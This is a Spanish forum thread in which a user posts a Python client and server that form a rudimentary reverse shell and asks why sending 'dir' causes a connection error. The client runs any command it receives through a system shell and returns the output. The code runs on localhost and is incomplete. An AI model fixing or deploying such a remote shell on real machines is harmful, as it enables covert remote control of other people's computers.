elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  error cuando mando un comando
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: error cuando mando un comando  (Leído 1,758 veces)
sytem200

Desconectado Desconectado

Mensajes: 49


Ver Perfil
error cuando mando un comando
« en: 28 Septiembre 2019, 01:50 am »

tengo un cliente con un servidor  se conectan pero cuando mando un comando dir no me funciona y me estos errores

Código:
error cuando ejecuto el comando dir

corriendo servidor y esperando conexiones
conexion recibida de:127.0.0.1
()-#:dir
Traceback (most recent call last):
  File "server.py", line 34, in <module>
    shell()
  File "server.py", line 15, in shell
    res=targer.recv(1024)
socket.error: [Errno 10053] Se ha anulado una conexi¾n establecida por el software en su equipo host


servidor
Código:
#!/usr/bin/env python
#_*_ coding: utf8_*_

import socket

def shell():
    current_dir=targer.recv(1024)
    while True:
        comando=raw_input("()-#:".format(current_dir))
        if comando == "exit":
            targer.send(comando)
            break
        else:
            targer.send(comando)
            res=targer.recv(1024)
            print(res)
   
def upserver():
    global server #variables globales
    global ip
    global targer
   
    server=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('localhost', 7777))# lo ponemos a la escucha con un puerto
    server.listen(1)
   
    print("corriendo servidor y esperando conexiones")
   
    targer, ip=server.accept() #recibimos un objete de la conexion y una lista de datos
    print("conexion recibida de:"+ str(ip[0]))
   
upserver()
shell()
server.close()


cliente
Código:
#!/usr/bin/env python
#_*_ coding: utf8_*_


import socket
import os
import subprocess

def shell():
    current_dir=os.getcwd()
    cliente.send(current_dir)
    while True:
        res=cliente.recv(1024)
        if res == "exit":
            break
        else:
            proc=subprocess.Popen(res, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            resul=proc.stdout.read() + proc.stderr.read()
            cliente.send(resul)
    re=cliente.recv(1024)
    print(res)
    cliente.send('hola mundo')

cliente=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect(('localhost',7777))
cliente.close




En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines